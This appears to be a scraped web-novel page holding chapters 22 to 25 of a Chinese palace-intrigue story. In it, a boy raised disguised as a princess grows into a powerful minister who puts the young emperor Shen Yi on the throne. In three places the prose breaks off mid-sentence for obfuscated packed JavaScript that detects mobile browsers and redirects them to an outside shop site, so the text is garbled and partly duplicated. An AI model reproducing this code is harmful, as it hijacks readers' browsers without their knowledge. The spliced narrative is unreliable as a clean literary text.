宋简大体明白了,这个叫燕无的人是关键,宋简拼命从脑子里搜索这个人的存在,但很遗憾,没有这个人。 仇凝一下慌了神,拉着宋简道:“我们走吧,你把官辞了,我们还有钱,我们走吧,这里太危险了。” 宋简道:“没事,我们都走到这一步了,再难我们也会跨过去。” 仇凝流着泪不说话,宋简就抱着她让哭个痛快,然后就和以前一样,给她擦眼泪,再给她打一顿消气。 日子渐渐过去,宋闻璟也渐渐长大,仇凝和宋简也尽心尽力把他打扮成小姑娘,今天不是带花簪,就是明天穿花衣,宋闻璟也一直被这样养着,皇帝有时会宣宋闻璟进个宫做个伴,甚至还想让宋闻璟进宫和皇子公主们一起读书,不过都被宋简回拒了。 后来宋闻璟开始懂事了,说出的第一句话就是:“我是个男的,我不要穿这些衣服,也不要带这些头饰!” 22.第 22 章 夫妻两人藏了他这么久,也不能因为宋闻璟这一句话而暴露,毕竟这可是乎性命的欺君之罪啊。 没办法,夫妻只好连哄带骗又将宋闻璟带回了轨道,还特意嘱咐宋闻璟谁都不要告诉,对谁都不能说,但宋闻璟长大了,该有的羞耻心也有了,这件事不论如何他也不知道该怎么说出口,被人当了这么多年的女人,一时间变成个男人,或许谁都能来嘲笑他一声。 有了这一层的羞耻布,宋闻璟也不喜欢出去了,尽管皇帝有时三番五次地宣他入宫,他也总是推辞,后来,宋闻璟出现在皇帝面前次数少了,众人都以为宋闻璟失宠了,各个高门贵女又重新开始展露风头。 直到13岁那年,皇帝寿辰,当时正直春季,风光无限,天也不冷不热,也顺势举办了一场百花宴,各个高门贵女和世家公子都打扮的花枝招展和耀眼夺目,希望能在这场百花宴上得到某些人的青睐。 但除了宋闻璟,要不是因为皇帝寿辰,他连这个门都不愿意出。今日一早,仇凝便拿着一堆为宋闻璟量身定制的新衣过来给宋闻璟梳妆打扮,宋闻璟不说话,整个人像个提线木偶一般任凭仇凝摆布,宋闻璟也早已麻木这日复一日年复一年的日子了,他看着镜中的自己,好像根本不认识自己。 仇凝看着宋闻璟不高兴,自己心里也酸涩不已,可她却也只是一边继续给他上妆,一边笑着夸他好看,比天上的仙女还要好看。 宋闻璟表面不为所动,实则藏在袖子下的手早就握成了拳,这辈子他最讨厌有人夸他好看了! 他总是问仇凝:“自己什么时候可以不打扮成这样了?” 仇凝只是看着他笑道:“再过几年吧。” 宋闻璟一遍遍地点头,随后孤独地等着这虚无缥缈的几年。 前来百花宴的人不少,但大多数家里的嫡子嫡女,很少看见有人还带着庶子庶女出来的,宋闻璟下马车之前,特地拿出了从家里带出来的面纱戴在脸上,好像这样就能把自己藏了起来,随后宋闻璟跟着人流入了宴。 仇凝和宋简一走来,便有人上前敬酒,随着来的人越来越多,宋闻璟也被硬生生挤了出去,院中几排颜色各异,各色各样的花朵相互争奇斗艳,淡淡的花香飘荡空中,沁人心脾,宋闻璟走出去时,只见外面人都已抱团成群嬉笑交谈,有人问这是什么品种的花,也有人说哪家的公子小姐最好看,唯独宋闻璟一人孤零零地坐在一旁,与这热闹的场景格格不入。 “安乐郡主?” 宋闻璟一时反应过来,那人又叫了他一遍,宋闻璟才迷茫地抬起头看着他。 “你是?” 那人轻笑一声,随后玩笑开口道:“这就不认识我了,你小时候我还抱过你呢。” 宋闻璟慢慢站起身,随后又仰着头仔细地瞧了瞧眼前身姿挺拔,意气风发的少年郎。 “大皇子沈肃?”宋闻璟认出眼前人,下意识欠身行礼,反倒被沈肃止住了。 沈肃问他:“怎么一个人在这?” 宋闻璟低头不答。沉默几秒后,沈肃便接着道:“不想说便不说了,好久没见你,不如去那边续续旧,可好?” “好。”宋闻璟心里虽不愿,但也不愿意得罪皇子,便跟着沈肃去了。 那边桃花开的正艳,粉嫩欲滴,花色娇媚,风一吹朵朵娇花迎风舞动,像极了舞阁里风情万种的舞娘,刹那间就叫人勾了魂去。 沈肃眸中含笑,看着他问道:“今日怎么戴了面纱?” 宋闻璟低下头不敢看他,想了片刻,随后堪堪道:“前几日不小心磕了一下。” 沈肃心里一拧,随后又笑道:“宋妹妹,原来是这个原因。” “不过,妹妹原本就长的仙姿玉貌,一点残缺而已,并不会让妹妹失了本身的光彩。” 宋闻璟瞬间把头低的更低了,心里突然变的很乱,莫名有种想要扯掉面纱,大声告诉他自己不是妹妹的冲动! 片刻,一抹温凉的布料轻轻擦过宋闻璟耳边,引起一阵微痒,宋闻璟抬起头,看着沈肃正笑眯眯地看着他,不知道沈肃又干了什么坏事。 宋闻璟下意识抬手想去摸摸头发,却被沈肃挡了回去,“别碰,这样很好看。” 宋闻璟眨了下眼,在原地呆愣了几秒,随后再一次抬手摸了上去,在那根冰凉的流苏银簪旁还插着一朵鲜活的桃花。 沈肃笑道:“妹妹今日穿的这身粉衣自是和这桃花更配。” 宋闻璟也跟着笑了笑,随后拿下这朵桃花又重新塞到沈肃手里,淡淡道:“大殿下来找小女只是为了赠小女一朵桃花吗?” “这不可以吗?”沈肃问他,“宋妹妹,我们相识这么多年,我送你一朵花这有何不可?” 宋闻璟不说话了,慌乱的眼神躲避着沈肃直视过来的目光,沈肃刚想将手里的花再帮宋闻璟插在头发上,身后便匆匆跑来一个小太监,对沈肃道:“大殿下,容妃娘娘在找你呢。” 沈肃动作一顿,随后小声嘀咕道:“母妃这个时候找我做什么?” 他回头又叮嘱宋闻璟道:“你不要乱跑,我很快就回来。” 宋闻璟点下了头,看着沈肃渐渐的消失的身影,宋闻璟扭头走了。 虽说这几年宋闻璟不怎么和他们打交道了,但该有的距离还是有的,现在沈肃这么刻意和他拉进关系,显然问题很大。 更何况,沈肃现在可是储君人选的第一人,而且再过两三年沈肃就到了行冠礼的日子,朝堂上多少眼睛盯着沈肃,他可不想再深一步的踏进这纷争之中。 “啊!” “小心!” 宋闻璟想的正出神,丝毫没察觉,前面一个前来送菜的小宫女不知被什么绊了一下,连人带菜都飞了出去,随后直直扑在宋闻璟身上,两人双双倒地。 小宫女闭上眼又睁开独自缓了一会儿,心里瞬间又惊又怕,随后匆忙站起身,跪在一旁一边磕头一边认错,毕竟这里的人她可一个都惹不起。 这声动静不小,周围的人都围了上来,却没一个人上前扶他,宋闻璟还未睁眼,便觉得天黑了下来,随之为了不那么丢人他慢慢动了动,随之铺天盖地的痛感席卷全身,他不禁倒吸了口凉气,抬眼看着眼前的小宫女,道:“你过来。” 闻言,小宫女匆匆忙忙走上前,宋闻璟扶着她的胳膊起身,而后从身上撒下一块又一块的菜和刚刚还在脸上带着的面纱,缓了半晌的剧痛,小宫女一直抽抽噎噎在旁边哭。 宋闻璟抬起头看她,才发觉这小宫女其实比他大不几岁,随后刚想开口,那小宫女便一个劲的道歉,宋闻璟说不怪她,让她下次注意点,不过这小宫女好似还不放心,还再三问道要不要赔这件衣服,周围的人都在窃窃私语,津津有味的看着这场戏,宋闻璟摆摆手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋闻璟爬上岸边,筋疲力尽地躺在岸上道:“你这陷害的技术实在太普通。” 杨宛莺道:“好用就行。” 宋闻璟笑了,“你怕是想错了吧。” 杨宛莺不解:“什么意思?” 宋闻璟道:“我现在可是郡主啊,你对我不敬,我完全可以把这件事推到你头上,而且你说我害大殿下,这么短的时间你已经做好证据了吗?而且就算你做好了,你觉得大殿下会帮我还是帮你这个毫不相干的人?你想的太简单了,其实根本就没资格与我争,但你也很走运,我不喜欢大殿下,我也不会和你争。” 杨宛莺听的一愣,心里莫名开始发虚,随后便听到宋闻璟道:“你要不快点走,到时候我还能保你一下。” “你……” 杨宛莺随即站起身,快步走了。 宋闻璟闭上眼,四周安静了不少,其实他说的这些连他自己也不知道,随后他叹了口气,昏昏噩噩之际,宋闻璟开始犯迷糊,却没想到再次睁眼,会在林霄的寝殿里。 他警惕地环顾四周,不远处跑过来一个小孩手里还拿着一把开始呈现枯萎状态的花朵,他道:“你醒了,你能不能帮我把花插好,我插的都太难看了。” 23.第 23 章 宋闻璟看着他与林霄五分相似胖乎乎的小脸,发问道:“你……皇后娘娘去哪了?” 在宋闻璟看来,林霄其实与他关系并没有那么好,对于这位皇后娘娘的了解,大多都是从别人口中得知一二。 沈翊眨了下两只圆溜溜的小眼睛,随后扬起小脸笑意盈盈道:“母后出去了,说让我看着你点。” “不过,你怎么就湿漉漉地睡在地上了,虽然天不那么冷了,但这样还是会得风寒的,得了风寒就要被逼着喝那难喝的苦药,漂亮姐姐难道喜欢喝苦药吗?” “你?”宋闻璟呆愣地看着眼前喋喋不休地小孩,随后脑中一闪似想起什么,低下头看着自己身上干净纯白的里衣,眸中一慌,忙问沈翊道:“谁给我换的衣服,我自己的衣服呢?” “啊?”沈翊小脑袋一歪,询问道:“那衣服已经湿透了,现在应该叫宫女拿下去洗,可能最快也要明天送过来了,但你不用担心,宫女又送来一套衣服,你现在就要试试吗?” 宋闻璟脑中越来越乱,随之在沈翊说完最后一个字后,宋闻璟便急忙下了床往外跑,只希望自己男扮女装的事还未曾被人发现。 沈翊不知道他要干什么,但看着被漂亮姐姐不小心打落一地的花,沈翊心中又气又委屈,因为这些花他可是花了一天的时间找齐了院中所有品种的花,正准备打算送给林霄做礼物的。 可宋闻璟没有回头,更没有关注他掉落一地的花朵,只是没想到在推门的那一刻,林霄正好回来了。 她迈着轻盈的步子缓缓走来,还未见看清面孔,一身金丝银线制成的凤羽菱锦长裙便在太阳的照射下发出独特耀眼的光芒,在宋闻璟注视下林霄慢慢走到他跟前,随之抬眸莞尔一笑:“郡主刚醒这是这么着急去哪,竟连衣服都没来得及穿。” 林霄一边说着,头上两侧的缕金凤纹步摇下的流苏微微晃动,惹得宋闻璟的注意力被吸引了过去,在原地顿了几秒后,才蹲下身行礼回道:“小女参见皇后娘娘。” 林霄笑着扶起宋闻璟,随后又拉着宋闻璟走了进去。 房间里,沈翊刚刚把洒落一地的花捡起来,丝毫没注意两人走了进来,林霄的声音骤然在背后响起,柔声问他:“翊儿,你在做什么呢,不是让你好好看着郡主的吗?” 闻言,沈翊又将手里的花急忙藏在身后,整个小人站的紧绷绷面对着林霄,“没…干什么,儿臣……” “儿臣突然想起来,儿臣还有功课没做完!”沈翊慢慢朝门口方向挪步,最后喊了一嗓子,便像只小老鼠快速溜了出去。 林霄不明所以,却还是看着沈翊消失的方向,掩唇笑了一声,“这孩子天天神神秘秘的,也不知道在干什么?” 宋闻璟顺着林霄的目光望了望,随后又看向她,问道:“是皇后娘娘带小女回来的吗?” 林霄道:“本宫遇到了几个小宫女,说你与那杨尚书的女儿一同落了水,后来本宫去找你们,只发现你一个人躺在岸上,不见杨尚书的女儿,难不成是你们闹了矛盾?” “没有。”宋闻璟一口否认,低下头躲避着林霄关切的目光,“小女多谢娘娘,若娘娘没有旁事,小女就先回去了。” “郡主,不再多待一会儿吗?”林霄嘴角缓缓扬起一抹浅笑:“本宫看郡主好久都不曾来宫中了,陛下还时常在嘴边说起你。不知郡主这几年在忙什么,竟连一点闲空都抽不出身。” “我……” 宋闻璟低下头目光不停地在地上游走,垂在身侧的两只手不自觉地握了握衣角,整个人显得有些局促不安。 “你这孩子小时候闹的很,现在反倒安静内敛了不少,不过现在长大了,心里都有点小秘密。”林霄自顾自地说着,脸上的笑容渐渐褪去,眼底却显露出一丝阴冷。 宋闻璟被说的心里发虚,几次想张开口说点什么,话却堵在喉间发不出声。 林霄看着他,怜爱地抬手摸了摸他的头顶,接着又换了副慈母的样子,耐着性子安慰他继续道:“郡主,本宫都知道了,或许这不是你自愿的,可事情已经发展到这里了,不是能够轻易改变的。” “你……” 宋闻璟瞬间睁大了眼睛,一阵心慌过后,他强装淡定颤着声问:“娘娘这是在说什么?要是没旁的事,小女就先走了。” 看着宋闻璟慌忙逃离的背影,林霄站在原地不禁轻笑一声,随后一阵不轻不重的声音落进宋闻璟的耳朵里,“郡主这是在装糊涂?难不成就不怕本宫把这件事说出去,你猜他们信,还是不信?” “你们宋家还能受陛下庇护,在朝堂上始终风光?” 不远处,宋闻璟没能走远,在林霄说完第一句话的时候,他住步在只差一步之遥大开的房门口前停了很久。 而身后的林霄则慢悠悠地坐在凳子上并在心里默念了三个数,随后从桌子上端起一杯早已凉透的茶水轻轻抿了一口。 两人僵持不下,林霄不动,在心里默数到第七个数时,宋闻璟的身影将林霄身前的光亮挡了过去,他压下心头的脾气,低声质问道:“娘娘到底想干什么?” 林霄不动声色地倒了一杯凉茶放在宋闻璟跟前,随后不紧不慢道:“郡主何必这么着急,本宫只想让郡主帮本宫办件再简单不过的事。” 宋闻璟虽不知道林霄到底想干什么,但防备心始终不减,他拉开与林霄的距离,坐到林霄的对面,问道:“娘娘竟还有事让在下帮忙?” 林霄失笑反问:“郡主难道不愿意?” 宋闻璟道:“那在下帮娘娘的忙,娘娘是不是也应该做点什么?” “当然。”林霄道,“只要郡主答应,这世上不会再有第三个人知道这件事。” 宋闻璟想了想,随后问道:“娘娘有什么事?” 林霄道:“倒也不是什么难事,就是希望郡主能多进宫陪陪翊儿。” 宋闻璟愣了愣,问道:“为什么?” 林霄叹了口气,慢慢道:“翊儿在宫里没有多少玩伴,自己也总是一个人待着,有时候自己发呆一发就是一天,本宫也怕翊儿再这样下去会憋出病来,本宫看翊儿也不排斥你,郡主多进宫陪陪翊儿也很好啊。” 宋闻璟不解,“就这样吗?” 林霄笑道:“郡主可以的话,可能多带一些小玩意,翊儿也喜欢。” “……” 临近傍晚,宴会结束,宋闻璟几乎想了一个下午,却还是没想明白,这皇后娘娘拿了自己这么大个把柄就为了陪自己的儿子玩,这是不是太不划算了? 而一边的林霄,看着手中传来的密信,不禁哼笑一声,“这老不死的,棺材都快盖到头顶上,还在做春秋大梦,我儿的位置还能被抢了去不成?” 大宫女秋冬在旁边附和道:“娘娘,这林大人是打算准备动手了吗?” “看样子不远了。”林霄道,“咱们也应该加快步子了。” 秋冬道:“娘娘为何那把那宋家那位牵进来,林家本就是和宋家对立,宋家的这把柄够灭宋家满门的,娘娘为何不做,还要将小皇子送出去。” 林霄笑道:“因为想扳倒这老不死的还得需要宋家,只要宋家站在我们这一边了,我们的胜率怎么会低?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964083|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秋冬点头:“娘娘说的是。” 随后几天,宋闻璟也如实按约进宫了,沈翊虽不知道为何这人总是缠着自己,可也不好意思拒绝,只能附和着他。 后来,宋闻璟渐渐和沈翊混熟了,也发现了沈翊总是一个人躲着藏什么东西,他问沈翊:“殿下在干什么?” 沈翊也不躲着他了,“我想给母后补上一次的生辰礼物,但不知道该送什么了,弄来弄去,还是不行。” 宋闻璟问:“那皇后娘娘喜欢什么呢?” “喜欢什么?”沈翊想了想,“母后最喜欢画画了。” 宋闻璟想了想,“要不然殿下也画一幅给皇后娘娘?” 沈翊摇摇头,“我不会画画,学堂里的人都嘲笑我画的还不如被狗踩两脚,可明明母后画的那么好,我怎么一点也画不好,难不成我不是母后的孩子吗?” 沈翊越说声音越低,最后甚至听不见了。 宋闻璟看着沈翊难堪的小脸,想了想道:“不如殿下先随意发挥一番,剩下的再交由小女处理。” 沈翊脑袋一歪,“这……” 宋闻璟道:“殿下放心。” 一个时辰后,沈翊拿着一幅被涂的乱七八糟的白纸拿给宋闻璟,宋闻璟问他:“殿下画的什么?” 沈翊指着自己画的介绍道:“这是小山,这是天,这是太阳,这是小鸟,这些是树。” 虽看不得出来,宋闻璟还是点点头,“感觉画的很简单。” 沈翊笑笑:“因为我不会画别的了。” 继宋闻璟回去两天后,沈翊拿着一幅气势磅礴的山水画送给了林霄,林霄也没戳破他,反倒一个劲夸沈翊厉害。 沈翊被夸的心虚,不过两三句便全都抖了出来。 这样的日子也算过的安稳,直到一年后的围猎,沈肃在骑马追赶猎物时,马儿不知怎么受了惊,突然载着沈肃冲下了悬崖,人虽救回了一条命,但后半辈子却要活在床上。 皇帝大怒,令人彻查此事,到头来却毫无线索,随之沈肃在朝堂中失了势,成了个废人。 后来后宫接连发生命案,皇帝还没等忙完这头,边关又来战事,原本派去大公主去和亲,不料敌寇半路毁了约,大公主还未到敌寇国内,就被杀害在路上。 皇帝听闻当场就被气晕了,醒了后当即派宋简和仇凝两人去边关将敌寇捉拿。 原本这一场是必赢的,不知怎么半路敌寇势力增加了足足两倍,而前进的路程全都被打了回去,最后宋家军孤守城池,迟迟等不到援军赶来,又经历一天一夜的抗争中,城池失守,宋家军全军覆灭,宋简也和仇凝也留在那场战役里。 那时宋闻璟刚满十五岁,没了依靠,宋闻璟好像也找不到了去处,随之也离开了京城。 林霄看着宋家垮了,心里一惊,他也没想到这老不死的东西竟吃里扒外,为了扳倒宋家竟联合敌寇,看着自己儿子太子地位岌岌可危,林霄自是不甘,可她一介深宫女子,能摄政的机会太少了。 可没想到两年后,有人说宋简的私生子回来了,从前明明已经全军覆灭的宋家军犹如野火烧不尽,春风吹又生的野草,浩浩荡荡地回京了。 随后又不到一年的时间,城池失而复得,皇帝自是大喜,也不管这人是宋简的亲儿子还是私生子当即便继承了宋简的官职。 而宋闻璟神情却依旧平静,林霄再次见他时,只是说了一句:“许久不见,宋大人高了也瘦了。” 宋闻璟不说话,林霄提议道:“本宫也不瞒宋大人了,如果宋大人能与本宫联手,本宫自会有要事相告。” 24.第 24 章 这么多年过去,往事早已被人淡忘,一时的风光转瞬即逝,没人记得从前的安乐郡主,也没人在乎宋家败落后留下的这一个小女孩。 而宋闻璟在以前也不叫宋闻璟,他叫宋悦宜,为了更贴合小女孩的身份,宋简纠结了一天,直到傍晚才最后确定下来。宋简想既然自己的儿子往后注定是个女儿命,那也不必给予他多大的期望,只希望在往后的日子里能顺风顺水,快快乐乐,温和一点。 可惜事不随人愿,宋闻璟虽没沾上这名字半分喜气,但宋闻璟从来也没抱怨过,因为他本身就不是在王府里娇生惯养的“安乐郡主”,他看人面,知人心,懂得人情世故,也知道人心险恶,他所接触的人从来都不是什么善茬,他也不想成为一只任人摆布的棋子。 后来,在离京之后的第一件事宋闻璟便是先改了名字,后又换上了再也没人阻拦的男装,自此那一刻,世上再无宋悦宜这个人,有的只是一个来路不明的私生子。 而众人的关注点从来都不是这个私生子到底是从哪里来的,众人只知道这个私生子本事大的很,似乎一出场便成了皇帝眼前的红人,恍惚间,众人曾一度认为宋简借尸还魂回来了。 经历一遭,宋家的风光不减反增,等皇帝意识时,好似朝堂中灌注的血液似乎都来自于宋家。 宋闻璟成了一手遮天的大权臣,皇帝本想再用对付林家的手段再对付宋家时,却发现早已为时已晚,宫中,宋闻璟的势力早已百孔不入,就连身属对家林家的林霄也成了其中之一。 不论前朝还是后宫,好似再没有一处地方能归属自己。 皇帝相信宋简的忠心,这也导致他每次看到宋闻璟都会觉得他也如宋简一般忠心,时常忘了眼前的人只是与宋简有几分相似的私生子,他没有宋简的忠心。 直到皇帝临死前,曾问他:“为何不反?” 宋闻璟没有回答,皇帝又问他:“因为你父母吗,还是为了宋家百年清誉,可你知道安王吗?朕已经拟好遗诏让安王继位了。” 宋闻璟点头:“好。” 皇帝笑了:“你难道不担心吗?你为何不问朕为何不把这皇位传给沈翊?” 宋闻璟道:“不感兴趣。” 留下四个字后,宋闻璟头也不回地走到了门口,而身后的皇帝却红了眼眶,嘶哑的嗓子发了力的大声道:“朕死后这皇位传给谁都可以,但就是不能传给沈翊,林霄的儿子根本就不配!朕绝不会让林霄如愿的!林霄这个女人是个杀人不眨眼的疯子,她杀了朕的皇后,杀了朕的儿子,她杀了所有的人,朕绝对不会让她得偿所愿!” 皇帝撕心裂肺的咳嗽声还在身后断断续续传来,宋闻璟却跟没听见一般,毅然决然地走了。 然第二日清晨,皇帝驾崩了。 不过几日,沈翊还是登基了,是宋闻璟簇拥的,而也没人找到那封先帝遗诏。 没想到是,登基的那一日,安王带兵硬闯场地,场面混乱不堪,安王趁乱直逼高台,却在一步之遥时,无数把利剑将他围了个圈。 安王轻笑一声,将藏在袖中的遗诏拿在手中,大声喊道:“先帝遗诏在此,谁敢抗旨!” 这浩荡轻微的声音并没有激起多大水花,台下的人微停了几秒钟,又继续打斗起来。 “你们都没有听到吗?” 安王又吼了一次,“本王手里有先帝遗诏!” “王爷,你来晚了,登基仪式已经结束了。” 宋闻璟不禁提醒他,而沈翊此时躲在他身后,露出个胆怯的小脑袋看着安王。 “你……”安王又看向沈翊,不禁激动道,“你们让他登基,你们安的什么心!更何况现在明明不应该是仪式刚开始,你们休想骗本王!” 宋闻璟平静道:“安王,仪式确实已经结束了,不得对陛下无礼。” 安王不甘心,刚想将遗诏展开,只觉得心口一冷,随后星星点点的血渍如同梅花一般洒在这明黄黄的遗诏上。 宋闻璟看着他,神情冷淡的如洞窟里的寒冰,让人感受不到一点温度,安王似不可置信地抬起头,“你真敢……” 安王道:“你早就有准备,却为什么要选他,你为什么不……” 宋闻璟突然冷硬打断他道:“因为先帝在骗你,先帝也不相信你。” 身后,沈翊心中一紧,小手拽着宋闻璟的衣服开始渐渐松了下来,沈翊两腿一软,还没等屁股落地,就被一股莫名的力提着后衣领又给拽了起来。 宋闻璟看着新帝如此气候不成的样子,只觉得林霄竟能把他护的这么好,皇宫一个吃人不吐骨头的地方,竟还能养出一个单纯天真,呆里呆气的孩子。 到最后,沈翊腿软地站都站不起来,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哪个?”宋闻璟道。 “安乐郡主的事。” “对!” 裴夏猛地点头,似乎没注意这句话是谁说的。 “对吗?”沈翊慢慢走过来,“朕没说错吧?” 25.第 25 章 三人面面相觑,裴夏不多时便低下了头,瞧着气氛一下冷了下来,宋闻璟疑惑道:“安乐郡主是谁?” 他怎么没听说过这个人,而且在书中也不曾见过这个名字。 不过话音刚落,这句话便如石沉大海般,久久得不到回应,空气中的气氛僵持几秒过后,裴夏不禁出口提醒他:“主子,咱们还是先把药喝了吧,这事先放一边。” 宋闻璟看着迎面慢慢递上来的药碗,下意识微微扭头避开后,淡淡道:“我现在还不想喝。” “这怎么行,太医都叮嘱过的,而且这药都快凉了,主子还是……” “裴夏。”宋闻璟突然开口叫他,“我饿了,我想先吃饭。” “嗯?”裴夏愣了一下,而后猛拍了自己一下脑门,幡然醒悟道:“都怪属下,竟忘了主子已经饿了一天,现在还没吃上饭呢。” 而后裴夏扭头偷偷撇了一眼站在旁边的沈翊,低着头默默转身走了。 裴夏走的时候心里还有点庆幸,终于逃走了,谁料刚抬步走出门槛,不知那个冒事的家伙迎面就和自己撞了个满怀,裴夏不禁往后踉跄了几步才身子。 随后裴夏不难烦地抬起头,对方也在从嘴里发出第一个字后停了响声,一瞬间,一抹莫名熟悉的感觉从两人的心底冒出,空气也在凝滞了两秒后,柳溪突然发出声道: “是你啊。” 柳溪装模作样地整了整衣袖,又把一副正经的样子拿了出来。 “柳大人。”裴夏恭恭敬敬地朝柳溪行了个礼,“柳大人,这么着急的要去哪?” 柳溪摆摆手,憨笑了两声,“我啊,我听下人说陛下在这,我来找陛下的。” “不过,你怎么也在这?” 裴夏道:“我家主子病了,所以在这睡了一晚。” “这里?” 柳溪似有点不可置信,小皇帝不是讨厌他吗,怎么还让他住在这里,不应该睁一只眼闭一只眼地装看不见,然后等着给奸臣收尸吗?怎么还大发慈悲让奸臣住在这里? “对啊。”裴夏点点头,“柳大人要是没有旁事,在下就先走了,我家主子还等着吃饭呢。” 柳溪眉头紧皱,一边手上还不停地摸着自己的下巴,真是越想越摸不到头脑,看着裴夏离去的背影,刚刚的熟悉感再一次从心底冒出,忽然一瞬间,他停下手里的动作。 柳溪惊觉,这裴夏的眼睛和背影为何与他一年前在冯府交手的那个刺客这么像。 可这么说来,这奸臣不就早有防备,所有的证据也早该在这一场大火中焚尽,可就为什么宋闻璟明知是陷阱,还是往里跳? 柳溪无能地拍了拍头,烦躁道:“最讨厌这种费脑子的了,万一不是裴夏呢,肯定不是。” 站在原地愣了一会儿,柳溪还是忍不住向着裴夏离开的方向跟了过去。 而寝殿里,沈翊站在原地沉默不语,深沉的目光却一直在宋闻璟的脸上打量,好像要将人硬生生看透才算够。 宋闻璟被看的有些不自在,伸手摸了摸自己的温热的脸颊,不禁回看过去道:“陛下看什么呢,臣脸上有东西吗?” “你……”沈翊眨了下眼,随后将目光移开,漫不经心地走过去道:“皇叔,你长的很像朕的一位故人。” “故人?” 沈翊点头,“皇叔不知道还记不记得你的那个同父异母的妹妹或姐姐。” 宋闻璟不解:“谁?” 什么时候又蹦出来姐姐妹妹,这奸臣还有兄弟姐妹? “就是……”沈翊一时有点不知道怎么开口,这安乐郡主才是明媒正娶正妻生的嫡女,而眼前的宋闻璟却只是个见不到人的私生子,就这么堂而皇之地当着私生子的面问正主,还确实有点难开口。 可转念一想,那又怎样,私生子就是私生子,在这世上也总不少一些流言蜚语徘徊在耳边。 沈翊道:“皇叔当真不知道与皇叔同父异母这位安乐郡主的名号?” “安乐郡主,同父异母?”宋闻璟小声低喃道。 好奇怪啊,自己不就只是睡了一觉,怎么又突然多出一个兄弟姐妹来了,而且书中也没提过他爹娶了两个老婆,什么时候他多出一个亲人来了? “陛下说的这个人,臣从未听说过。”宋闻璟问,“陛下记错了吧,家里就臣一个人,再没有其他的兄弟姐妹。” “真的?”沈翊看着他轻笑了两声,真是什么时候私生子也当成了主子,“或许是朕记错了,不过朕都听说自从皇叔回来了后,安乐郡主就不见了,朕也疑惑为什么……” “陛下,巧合吧,毕竟臣也没见过她。”宋闻璟心感不妙,连忙打断他转移话题道:“陛下是想找她做什么?” “朕?”沈翊说着嘴角下意识上扬,“她是朕儿时的玩伴,从前朕在宫里不能随意出去,都是她天天从宫外带一些朕没见过的玩具陪朕玩。” “朕现在当然想找到她,再见她一面。” “可朕六岁后,她就不见了,朕只知道当时她父母双亡,她一直被人指指点点,父皇也说要把她指婚给大皇子做妾,后来她不进宫了,朕以为她要嫁人母后也没让朕和她再联系,可后来,她逃婚了,就如同人间蒸发,彻底没了一点音讯,再后来,皇叔回京了,这样就更没人记得还有这个人。” 宋闻璟听的稀里糊涂的,他回京?他不是一直待在京中吗?而且越听越感觉是抢了这个安乐郡主的东西,可他不是生来就有就有这些东西吗? 宋闻璟道:“陛下或许真的记错了,可能臣真有与她三分相似的地方,但臣确实不认识她。” 沈翊看着宋闻璟一再否认,还有裴夏的一再躲避,甚至开始怀疑自己真的是出现了幻觉了,从前一切的听闻和回忆,好似都是自己幻化出来的,可这一切都是真真实实发生过的。 他又看了宋闻璟一眼,说道:“可能是朕记错了。” 宋闻璟这个私生子好不容易夺来的东西怎么会这么容易放手,而且就如传闻一般,安乐郡主若真落在他手里,或许早就被这奸臣害死了。 沈翊越想脑中的画面便越清晰,本是同根生,相煎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114648|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何太急?可现实总是残酷真实,安乐郡主占据了他想要的一切,沈翊总不能相信宋闻璟这个小人能坦然接受。 宋闻璟刚想开口说几句什么,便见沈翊气呼呼地甩袖走了。 宋闻璟看着沈翊消失在视线中,心中不由得松了一口气,却又疑惑,这小皇帝怎么又生气,不是刚刚聊的还好好的吗? 宋闻璟静静地坐着发愣,没过多久,裴夏便端着大半碗用料极其丰富的粥进来了。 裴夏道:“主子,这粥已经放凉过了,现在温度正好,刚刚后厨没人,那些下人都休息去了,这碗粥还是属下看着柳大人做的,主子快尝尝好不好吃。” “柳大人?”宋闻璟皱了皱眉,裴夏道:“就是柳太傅,刚刚属下出门碰见他了,然后柳大人闲来无事跟着属下去了后厨。” 宋闻璟点点头,随后用勺子挖了半勺填进了嘴里。 可能是饿坏了,宋闻璟连吃了几口才终于缓过神来,趁着嘴里空闲,宋闻璟也忍不住好奇问裴夏道:“你知道和我同父异母的安乐郡主吧。” 裴夏道:“同父异母的安乐郡主?” 宋闻璟又往嘴里塞了一口饭,点了点头。 “不是,主子。”裴夏道,“安乐郡主主子你不知道吗?时间过的太久,主子你也不该忘,难不成主子你装失忆?” 宋闻璟咽下饭,疑惑道:“什么意思,我不应该不知道?” “对啊。”裴夏点点头,“毕竟这安乐郡主不就是……” 宋闻璟挖了挖留存在碗底的残粥,漫不经心道:“什么?” 